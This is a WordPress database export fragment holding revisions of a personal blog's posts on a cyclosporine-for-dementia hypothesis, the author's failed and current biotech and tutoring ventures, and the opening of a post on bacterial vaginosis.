-->\n<p>Well, first, there’s good evidence that cyclosporine can save some neurons from death when they experience stress. Specifically, when they bonk piglets on the head really hard, <a href=\"https://www.liebertpub.com/doi/full/10.1089/neu.2018.5706\">the ones that have been receiving IV cyclosporine for the last 5 days have a smaller hole in their brain</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/EuRxDeBcPkSWPfWKfDFL2t6H2YuIDmcgcwcB2BBxOpud2aMwohW4B0ssyZeEcWk0xyQl8FAqxtjuep-SUVk1yZQaLkKnTeBTdFhRVhYWjRPlX6akOG1QijJpcaVp3vRJZ8QzH-Lq\" alt=\"\"/><figcaption class=\"wp-element-caption\">On the left, Babe the piglet. On the right, Abe the piglet. The bonk removed an entire letter.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Second, there’s ok evidence <a href=\"https://content.iospress.com/articles/journal-of-alzheimers-disease/jad170585\">patients with Alzheimer’s have altered mitochondrial function</a>. Alzheimer’s brains use less glucose, less oxygen, and have reduced enzymatic activity related to glucose. Scientists that have used mitochondria from Alzheimer’s brains in new cells have found that the new cells have reduced enzymatic activity as well, suggesting the reduced enzymatic activity comes from the mitochondria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, all together, if we think of the damage to the brain that results in dementia as somewhat similar to the damage to the brain from a bonk on the head, then we can believe that cyclosporine could be beneficial for preventing or treating dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So…what next? Well, as I mentioned, I’m trying to raise funds to actually test this. The methods still need to be worked out, as giving a bunch of old people cyclosporine for 20 years to see if they develop Alzheimer’s is nobody’s idea of a good study to run.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, using alternative biomarkers for a shorter period of time could be much more feasible. This is especially true if we’re looking at a vulnerable population who’s more likely to develop dementia sooner, like people with Parkinson’s, as <a href=\"https://link.springer.com/article/10.1186/s13195-019-0473-4\">they already have a validated biomarker for dementia: brain-glucose metabolism</a>.<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this sounds interesting to you or you think you could help me with this, <a href=\"http://highwaypharm.com\">let me know</a>. Otherwise, feel free to tell me why you think this is silly. Happy to hear feedback either way.</p>\n<!-- /wp:paragraph -->','Organ transplant patients (maybe) don\'t get dementia. Here\'s why.','','inherit','closed','closed','','229-revision-v1','','','2024-04-02 14:05:37','2024-04-02 14:05:37','',229,'https://trevorklee.com/?p=355',0,'revision','',0),
(360,1,'2024-06-12 15:20:44','2024-06-12 15:20:44','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Dyskinesia in Parkinson\'s is caused by dopaminergic dysfunction, which can be treated by NMDA antagonists. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Other dyskinesias will also benefit from this therapeutic.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Not enough to make it worthwhile.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not every interesting scientific idea is a business. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>In neurodegeneration that is caused by glutamate excitoxicity, NMDA antagonists will prove effective.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: not enough to be worthwhile</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: It\'s really, really expensive and difficult to get to the point of getting real evidence for treatments of neurodegeneration. Any neurodegenerative treatment, in order to get funding, needs to follow what people already expect will help neurodegeneration. Out-of-the-box ideas are very tough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The unfolded protein response is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some combination of TUDCA, 4-PBA, and a sigma-one receptor agonist can treat this major cause of damage.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>ER Stress definitely occurs in heart failure (it makes sense, there\'s a lot of damage happening all around).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Medications to alleviate ER stress (TUDCA, 4-PBA) help in mouse models of heart failure, which are done mechanically.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sigma one receptor agonists can help in animal models of heart failure, seemingly by acting as molecular chaperones in the ER.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>someone beat me to it. They tested sertraline, an antidepressant with significant affinity for the sigma one receptor, in patients with depression and heart failure. It helped the depression but not the heart failure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More broadly, there was a big problem with the gap between the animal model and the human condition. Humans experience heart failure chronically. There\'s no equivalent of mechanically restricting the aortic valve. So I think there\'s definitely something missing about the model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Using RNAi for agriculture</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: RNAi can be used to delete any RNA strands that it matches with. It could be used as an agricultural technique for pesky pests. For example, oysters are often devastated by herpes. Infecting the oysters with a bacteria that produces RNAi to target the RNA of herpes could be effective prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are a lot of pretty amazing papers showing the use of RNAi against various types of pests. The original one I saw showed RNAi being effectively used in honeybees against the agents responsible for colony collapse disorder.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: there are a lot of RNAi companies that have tried and failed. I think it\'s a combination of a mess of patents, difficulty with scaling up RNA production to be cost effective, and the caution people have for \"genetic engineering\". </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Exploring ketamine for blood pressure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: never quite got there. Something to do with raising blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Ketamine raises blood pressure, which is surprising for a dissociative. This is probably because it inhibits the norepinephrine transporter, and norepinephrine is used to raise blood pressure. Ketamine is also an anesthetic. Surgeons use it to anesthetize while raising blood pressure, as anesthesia/surgery can lower blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: blood pressure and arrhythmia are really specific. We have pretty good tools for most stuff with blood pressure, and any new tools probably need to be very specific. Also, ketamine on its own isn\'t a good tool to market, because you can\'t patent protect it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">The roles of anything other than autoimmunity in type I diabetes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis: </strong>there might be other sides of diabetes besides autoimmunity that could be targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>eh...there\'s suggestive stuff around the animal models, but nothing convincing in human models. Plus, it\'s hard to argue with how effective monoclonal antibodies have been in autoimmunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I should avoid autoimmune diseases without monoclonal antibodies. They\'re just too good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Treating obesity-related asthma/inflammation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d be possible to alleviate obesity-related asthma (and other obesity-related disorders) with natural extracts that would have a beneficial effect both on inflammation and on weight/insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be better than the first-line treatment for inflammation, which is corticosteroids, which are notorious for weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are suggestive papers around curcumin, thymoquinone, and osthole regarding reducing inflammation and encouraging weight loss. Also, using corticosteroids as anti-inflammation in obesity-related diseases is weird, considering how notorious corticosteroids are for causing weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I never knew how far to trust the papers on these sort of \"natural\" remedies, as they always seem to be by people with an agenda for these natural remedies who found exactly the biomarkers they looked for. Then, when I was even trying to clearly link to inflammation at all to obesity-related asthma, I find it\'s really only a disease found in women, and I had zero hypotheses for htat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: obesity and inflammation are really complicated. It\'s probably best not to mess with obesity, and inflammation is really best with a monoclonal antibody. Tnf-alpha inhibitors do pretty great with inflammation, although they have severe side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">$1 live classes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> a good way to make some money would be to offer $1 live classes to mass groups of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: eh... none, really. I just offered it and see how it went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: it\'s hard to make money that way. Processing fees are murder on $1 classes (most of them charge some amount of cents per processing fee). Plus, I just don\'t like teaching live classes that much. It\'s pretty stress inducing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: pay attention to processing fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">SAT/ACT tutoring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> I could hire Harvard undergrads to tutor kids in the SAT/ACT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed: </strong>I didn\'t really like it. I don\'t like the college admissions game or dealing with undergrads. The entire thing felt bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I wish it was \"don\'t try to do what you don\'t particularly like\", but that was a repeated mistake I made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Selling prerecorded LSAT lectures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could sell my live LSAT classes as a recording.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I was always aware that the LSAT, if they found out, would likely sue me, as I was using their copyrighted material and they\'re notoriously litigious. So, it made it hard to promote.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned:</strong> Either invite lawsuits or don\'t, but don\'t half-ass invite a lawsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other businesses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Group buying for restaurants</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could lower costs for food businesses by group buying for them, or at least finding out the price from food vendors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: I was aware that price discovery for wholesale food was really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: food businesses don\'t want to talk to people they don\'t know about their invoices, in part because a lot of them are cheating on their taxes. Also, didn\'t have a convincing sales pitch because I didn\'t know anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: don\'t get involved in businesses you don\'t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Automated invoice entry</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d make my group buying business easier if I could automate invoice entry (see the problem here?). Also maybe I could sell the invoice entry app.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I did almost no research on what options were out there, and just went with my instinct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Automated receipt extraction from email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: something similar to Slice, where receipts would get extracted from the email. Not sure why I thought this was a good idea, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><b>W</b><strong>hy it failed</strong>: I did almost no research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>research beforehand (I learned this again).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collaborative to-do list instead of email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: considering how many emails are either to-dos or checking on to-dos, it\'d be better if that was simply built into the email instead. I even created a name/app for it, <a href=\"http://nomorefollowups.com\">nomorefollowups.com</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: seemed self-evident, but the big question was always if people were willing to let it be part of their email process</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I initially planned it to be something my brother\'s company would use, which he agreed to. Then they got crazy busy, and no longer wanted to change any of their task management processes. I lost interest in promoting it because I never was that into it in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: if you\'re not willing to put in a lot of hours into promoting your business (e.g. if you don\'t really like the space), don\'t start it.</p>\n<!-- /wp:paragraph -->','Failed projects','','inherit','closed','closed','','12-revision-v1','','','2024-06-12 15:20:44','2024-06-12 15:20:44','',12,'https://trevorklee.com/?p=360',0,'revision','',0),
(361,1,'2024-06-12 15:25:22','2024-06-12 15:25:22','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for certain chronic, age-related conditions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Some chronic, age-related conditions are caused by [ ].</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>[ ] is a therapeutic which can treat that specific cause.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining [ ] with [ ] makes it safer, more effective, and easier to tolerate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>This will also apply to cats.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Studies in [ ] in humans, [ ] in dogs, and [ ] in mice.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some of our previous work.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running trials and looking for partners. Good so far!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>For example, chronic spontaneous urticaria is a condition in which cyclosporine is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cyclosporine is a commonly used immunosuppressant for chronic spontaneous urticaria as well as other autoimmune conditions. However, it has problems, including severe side effects and difficulties with administration.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining cyclosporine with [ ]would reduce side effects, make it easier to administer cyclosporine, and ultimately make life easier for people with that condition.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Surprisingly, there are case reports with the combination of cyclosporine and metabolic inhibitors. They show good results, and they show the combination is safe in humans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vitro experiment also showed good results.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vivo experiments have also had good results. Next stop: clinical. </li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent secured, funding mode activated. Find out more on highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><a href=\"http://get21stnight.com\" data-type=\"URL\" data-id=\"http://get21stnight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Eh. Work in progress. The hardest thing about it has been simply to continually make it easier to use while still accomplishing what I want it to accomplish. App development is hard. It makes some amount of money, at least. </p>\n<!-- /wp:paragraph -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2024-06-12 15:25:22','2024-06-12 15:25:22','',2,'https://trevorklee.com/?p=361',0,'revision','',0),
(364,1,'2024-06-12 15:30:12','2024-06-12 15:30:12','<!-- wp:paragraph -->\n<p><em>As a service to the impatient reader, the tl;dr is that you can cure recurrent bacterial vaginosis by antibiotics combined with intravaginal vitamin C and/or intravaginal probiotics. Limiting the amount of bleeding you undergo every month (i.e. by using hormonal birth control) also helps. But seriously, read the rest of the post, because bacterial vaginosis is very interesting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In 10th grade, an English teacher caught some friends of mine doodling penises on a school table. In the midst of yelling at them for defacing school property, he asked, “You know, what is it about penises that is so fascinating to you guys? Why do you never draw vaginas? Are they just not as interesting?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That question has haunted me for the decade plus since that event<a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-1-99132379\">1</a>. What I’ve concluded is that vaginas are not not as interesting as penises. I think, on the contrary, they’re too interesting. They’re too mysterious. Now that I’m older and hopefully more mature, I think I’m finally ready to tackle some of the mysteries of the vagina. Specifically, I want to discuss bacterial vaginosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0dd673e3-e126-4c39-a80f-075efdb7808f_680x1092.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0dd673e3-e126-4c39-a80f-075efdb7808f_680x1092.jpeg\" alt=\"Georgia O\'Keeffe on the Art of Seeing – The Marginalian\" title=\"Georgia O\'Keeffe on the Art of Seeing – The Marginalian\"/></a><figcaption class=\"wp-element-caption\">Would a flower by any other name not smell just as sweet, if it wasn’t experiencing recurrent episodes of&nbsp;<em>Gardnerella vaginalis</em>&nbsp;overgrowth?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now, I know what you’re thinking. Bacterial vaginosis (BV) is generally not the sort of thing that one wants to discuss. Not only is it generally regarded as gross and embarrassing by the sufferers, it’s also not regarded as that serious an illness by the world at large. Nobody’s ever told a friend, “I’m so proud of you for successfully fighting your BV.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So why do I want to discuss it? Well, first of all, because it’s this interesting mix of very common but poorly understood. Somewhere north of 30% of women probably have it at any given time<a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-2-99132379\">2</a>, but we still don’t really know what causes it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, because BV’s not your average disease. BV is a perturbation of the microbiome of the vagina, which means that the “normal” bacteria of the vagina have been replaced by some kind of abnormal bacteria. This is very different from your average infection, which is a much more clear cut case of 